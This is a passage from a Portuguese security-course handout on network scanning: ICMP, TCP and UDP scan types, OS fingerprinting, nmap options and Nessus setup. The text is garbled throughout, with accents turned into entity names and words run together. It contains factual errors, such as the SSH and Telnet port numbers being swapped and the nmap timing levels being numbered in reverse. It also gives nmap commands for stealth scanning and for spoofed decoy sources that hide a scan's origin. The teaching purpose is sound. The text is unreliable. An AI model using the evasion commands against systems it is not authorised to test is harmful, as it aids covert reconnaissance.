varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

